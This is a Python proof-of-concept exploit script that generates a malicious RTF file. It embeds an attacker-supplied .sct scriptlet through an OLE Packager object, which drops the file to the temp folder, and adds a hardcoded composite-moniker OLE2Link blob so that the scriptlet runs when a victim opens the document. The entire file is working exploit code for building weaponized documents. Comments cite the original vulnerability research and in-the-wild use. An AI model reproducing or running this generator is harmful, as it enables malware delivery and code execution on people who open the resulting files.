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import argparse
import os
import struct
import random
import string
class Package(object):
"""
Packager spec based on:
https://phishme.com/rtf-malware-delivery/
Dropping method by Haifei Li:
https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/
Found being used itw by @MalwareParty:
https://twitter.com/MalwareParty/status/943861021260861440
"""
def __init__(self, filename):
self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + '.sct'
self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)
self.orgpath = self.fakepath
self.datapath = self.fakepath
with open(filename,'rb') as f:
self.data = f.read()
self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
self.OBJ_TAIL = r"0105000000000000}}"
def get_object_header(self):
OLEVersion = '01050000'
FormatID = '02000000'
ClassName = 'Package'
szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')
szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')
return ''.join([
OLEVersion,
FormatID,
szClassName,
ClassName.encode('hex') + '00',
'00000000',
'00000000',
szPackageData,
])
def get_package_data(self):
StreamHeader = '0200'
Label = self.filename.encode('hex') + '00'
OrgPath = self.orgpath.encode('hex') + '00'
UType = '00000300'
DataPath = self.datapath.encode('hex') + '00'
DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')
DataLen = struct.pack("<I", len(self.data)).encode('hex')
Data = self.data.encode('hex')
OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')
OrgPathW = self.datapath.encode('utf-16le').encode('hex')
LabelLen = struct.pack("<I", len(self.filename)).encode('hex')
LabelW = self.filename.encode('utf-16le').encode('hex')
DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')
DefPathW = self.orgpath.encode('utf-16le').encode('hex')
return ''.join([
StreamHeader,
Label,
OrgPath,
UType,
DataPathLen,
DataPath,
DataLen,
Data,
OrgPathWLen,
OrgPathW,
LabelLen,
LabelW,
DefPathWLen,
DefPathW,
])
def build_package(self):
return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL
# Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
EXPLOIT_RTF = r"""{{\rt{0}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{1}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{2}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""
def build_exploit(sct):
p = Package(sct)
package = p.build_package()
return EXPLOIT_RTF.format(package, p.filename.encode('hex'), p.filename.encode('utf-16le').encode('hex'))
if __name__ == '__main__':
parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method")
parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
parser.add_argument('-o', "--output", help="Output file for RTF", required=True)
args = parser.parse_args()
with open(args.output, 'w') as f:
f.write(build_exploit(args.sct))
print "[+] RTF file written to: {}".format(args.output)